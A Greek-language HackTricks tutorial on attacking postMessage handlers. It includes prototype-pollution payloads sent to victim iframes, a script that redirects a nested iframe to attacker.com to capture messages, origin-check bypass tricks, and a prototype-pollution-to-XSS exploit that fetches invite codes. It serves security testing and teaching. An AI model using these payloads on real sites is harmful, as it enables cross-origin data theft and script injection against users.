PostMessage Vulnerabilities

PostMessage Vulnerabilities

Support HackTricks

Send PostMessage

PostMessage χρησιμοποιεί την παρακάτω λειτουργία για να στείλει ένα μήνυμα:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Σημειώστε ότι το targetOrigin μπορεί να είναι ένα '*' ή μια διεύθυνση URL όπως https://company.com. Στο δεύτερο σενάριο, το μήνυμα μπορεί να σταλεί μόνο σε αυτή τη διεύθυνση (ακόμα κι αν η προέλευση του αντικειμένου παραθύρου είναι διαφορετική). Εάν χρησιμοποιηθεί το wildcard, τα μηνύματα θα μπορούσαν να σταλούν σε οποιαδήποτε διεύθυνση, και θα σταλούν στην προέλευση του αντικειμένου Window.

Επίθεση iframe & wildcard στο targetOrigin

Όπως εξηγείται σε αυτή την αναφορά, αν βρείτε μια σελίδα που μπορεί να iframed (χωρίς προστασία X-Frame-Header) και που στέλνει ευαίσθητο μήνυμα μέσω postMessage χρησιμοποιώντας ένα wildcard (*), μπορείτε να τροποποιήσετε την προέλευση του iframe και να leak το ευαίσθητο μήνυμα σε μια διεύθυνση που ελέγχετε. Σημειώστε ότι αν η σελίδα μπορεί να iframed αλλά το targetOrigin είναι ρυθμισμένο σε μια διεύθυνση URL και όχι σε wildcard, αυτό το κόλπο δεν θα λειτουργήσει.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

εκμετάλλευση του addEventListener

addEventListener είναι η συνάρτηση που χρησιμοποιεί το JS για να δηλώσει τη συνάρτηση που αναμένει postMessages. Ένας κώδικας παρόμοιος με τον παρακάτω θα χρησιμοποιηθεί:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Σημειώστε σε αυτή την περίπτωση πώς το πρώτο πράγμα που κάνει ο κώδικας είναι έλεγχος της προέλευσης. Αυτό είναι τρομερά σημαντικό κυρίως αν η σελίδα πρόκειται να κάνει οτιδήποτε ευαίσθητο με τις πληροφορίες που λαμβάνει (όπως η αλλαγή ενός κωδικού πρόσβασης). Αν δεν ελέγξει την προέλευση, οι επιτιθέμενοι μπορούν να κάνουν τα θύματα να στείλουν αυθαίρετα δεδομένα σε αυτά τα endpoints και να αλλάξουν τους κωδικούς πρόσβασης των θυμάτων (σε αυτό το παράδειγμα).

Αρίθμηση

Για να βρείτε ακροατές γεγονότων στην τρέχουσα σελίδα μπορείτε να:

  • Αναζητήσετε τον κώδικα JS για window.addEventListener και $(window).on (έκδοση JQuery)

  • Εκτελέσετε στην κονσόλα εργαλείων προγραμματιστή: getEventListeners(window)

  • Μεταβείτε σε Elements --> Event Listeners στα εργαλεία προγραμματιστή του προγράμματος περιήγησης

Παράκαμψη ελέγχου προέλευσης

  • Το χαρακτηριστικό event.isTrusted θεωρείται ασφαλές καθώς επιστρέφει True μόνο για γεγονότα που παράγονται από γνήσιες ενέργειες χρηστών. Αν και είναι δύσκολο να παρακαμφθεί αν έχει υλοποιηθεί σωστά, η σημασία του στους ελέγχους ασφαλείας είναι αξιοσημείωτη.

  • Η χρήση του indexOf() για την επικύρωση προέλευσης σε γεγονότα PostMessage μπορεί να είναι επιρρεπής σε παράκαμψη. Ένα παράδειγμα που απεικονίζει αυτή την ευπάθεια είναι:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • Η μέθοδος search() από το String.prototype.search() προορίζεται για κανονικές εκφράσεις, όχι για συμβολοσειρές. Η παράδοση οτιδήποτε άλλο εκτός από μια regexp οδηγεί σε έμμεση μετατροπή σε regex, καθιστώντας τη μέθοδο δυνητικά ανασφαλή. Αυτό συμβαίνει επειδή σε regex, μια τελεία (.) λειτουργεί ως χαρακτήρας μπαλαντέρ, επιτρέποντας την παράκαμψη της επικύρωσης με ειδικά κατασκευασμένα domains. Για παράδειγμα:

"https://www.safedomain.com".search("www.s.fedomain.com")
  • Η συνάρτηση match(), παρόμοια με τη search(), επεξεργάζεται regex. Αν η regex είναι κακώς δομημένη, μπορεί να είναι επιρρεπής σε παράκαμψη.

  • Η συνάρτηση escapeHtml προορίζεται να καθαρίζει τις εισόδους διαφεύγοντας χαρακτήρες. Ωστόσο, δεν δημιουργεί ένα νέο αντικείμενο που έχει διαφύγει αλλά αντικαθιστά τις ιδιότητες του υπάρχοντος αντικειμένου. Αυτή η συμπεριφορά μπορεί να εκμεταλλευτεί. Ιδιαίτερα, αν ένα αντικείμενο μπορεί να χειριστεί έτσι ώστε η ελεγχόμενη ιδιότητά του να μην αναγνωρίζει το hasOwnProperty, η escapeHtml δεν θα λειτουργήσει όπως αναμένεται. Αυτό αποδεικνύεται στα παρακάτω παραδείγματα:

  • Αναμενόμενη Αποτυχία:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Παράκαμψη της διαφυγής:

result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

Στο πλαίσιο αυτής της ευπάθειας, το αντικείμενο File είναι ιδιαίτερα εκμεταλλεύσιμο λόγω της ιδιότητας name που είναι μόνο για ανάγνωση. Αυτή η ιδιότητα, όταν χρησιμοποιείται σε πρότυπα, δεν καθαρίζεται από τη συνάρτηση escapeHtml, οδηγώντας σε δυνητικούς κινδύνους ασφαλείας.

  • Η ιδιότητα document.domain στην JavaScript μπορεί να οριστεί από ένα σενάριο για να συντομεύσει το domain, επιτρέποντας πιο χαλαρή επιβολή πολιτικής ίδιας προέλευσης εντός της ίδιας γονικής τοποθεσίας.

e.origin == window.origin παράκαμψη

Όταν ενσωματώνετε μια ιστοσελίδα μέσα σε ένα sandboxed iframe χρησιμοποιώντας %%%%%%, είναι κρίσιμο να κατανοήσετε ότι η προέλευση του iframe θα οριστεί σε null. Αυτό είναι ιδιαίτερα σημαντικό όταν ασχολείστε με sandbox attributes και τις επιπτώσεις τους στην ασφάλεια και τη λειτουργικότητα.

Με την καθορισμένη allow-popups στο sandbox attribute, οποιοδήποτε παράθυρο popup ανοίγει από μέσα στο iframe κληρονομεί τους περιορισμούς sandbox του γονέα του. Αυτό σημαίνει ότι εκτός αν περιλαμβάνεται επίσης το χαρακτηριστικό allow-popups-to-escape-sandbox, η προέλευση του παραθύρου popup ορίζεται επίσης σε null, ευθυγραμμισμένη με την προέλευση του iframe.

Κατά συνέπεια, όταν ανοίγει ένα popup υπό αυτές τις συνθήκες και ένα μήνυμα αποστέλλεται από το iframe στο popup χρησιμοποιώντας postMessage, και οι δύο πλευρές αποστολής και λήψης έχουν τις προελεύσεις τους ορισμένες σε null. Αυτή η κατάσταση οδηγεί σε ένα σενάριο όπου e.origin == window.origin αξιολογείται ως αληθές (null == null), επειδή τόσο το iframe όσο και το popup μοιράζονται την ίδια τιμή προέλευσης null.

Για περισσότερες πληροφορίες διαβάστε:

Bypassing SOP with Iframes - 1

Παράκαμψη e.source

Είναι δυνατόν να ελέγξετε αν το μήνυμα προήλθε από το ίδιο παράθυρο στο οποίο ακούει το σενάριο (ιδιαίτερα ενδιαφέρον για Content Scripts από επεκτάσεις προγράμματος περιήγησης για να ελέγξετε αν το μήνυμα στάλθηκε από την ίδια σελίδα):

// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}

Μπορείτε να αναγκάσετε το e.source ενός μηνύματος να είναι null δημιουργώντας ένα iframe που στέλνει το postMessage και διαγράφεται αμέσως.

Για περισσότερες πληροφορίες διαβάστε:

Bypassing SOP with Iframes - 2

Παράκαμψη X-Frame-Header

Για να εκτελέσετε αυτές τις επιθέσεις, ιδανικά θα πρέπει να μπορείτε να τοποθετήσετε τη σελίδα του θύματος μέσα σε ένα iframe. Αλλά ορισμένα headers όπως το X-Frame-Header μπορούν να αποτρέψουν αυτή τη συμπεριφορά. Σε αυτές τις περιπτώσεις μπορείτε να χρησιμοποιήσετε μια λιγότερο κρυφή επίθεση. Μπορείτε να ανοίξετε μια νέα καρτέλα στην ευάλωτη διαδικτυακή εφαρμογή και να επικοινωνήσετε μαζί της:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Κλοπή μηνύματος που αποστέλλεται σε παιδί μπλοκάροντας την κύρια σελίδα

Στην παρακάτω σελίδα μπορείτε να δείτε πώς θα μπορούσατε να κλέψετε δεδομένα ευαίσθητης postmessage που αποστέλλονται σε ένα child iframe μπλοκάροντας την κύρια σελίδα πριν στείλετε τα δεδομένα και εκμεταλλευόμενοι μια XSS στο παιδί για να διαρρεύσετε τα δεδομένα πριν αυτά ληφθούν:

Blocking main page to steal postmessage

Κλοπή μηνύματος τροποποιώντας τη θέση του iframe

Εάν μπορείτε να iframe μια ιστοσελίδα χωρίς X-Frame-Header που περιέχει άλλο iframe, μπορείτε να αλλάξετε τη θέση αυτού του child iframe, έτσι ώστε αν λαμβάνει ένα postmessage που αποστέλλεται χρησιμοποιώντας ένα wildcard, ένας επιτιθέμενος θα μπορούσε να αλλάξει την προέλευση αυτού του iframe σε μια σελίδα που ελέγχει και να κλέψει το μήνυμα:

Steal postmessage modifying iframe location

postMessage σε Prototype Pollution και/ή XSS

Σε σενάρια όπου τα δεδομένα που αποστέλλονται μέσω του postMessage εκτελούνται από JS, μπορείτε να iframe την σελίδα και να εκμεταλλευτείτε την προτοτυπική ρύπανση/XSS στέλνοντας την εκμετάλλευση μέσω του postMessage.

Μερικά πολύ καλά εξηγημένα XSS μέσω postMessage μπορούν να βρεθούν στο https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Παράδειγμα μιας εκμετάλλευσης για να εκμεταλλευτείτε Prototype Pollution και στη συνέχεια XSS μέσω ενός postMessage σε ένα iframe:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Για περισσότερες πληροφορίες:

Αναφορές

Υποστήριξη HackTricks

Last updated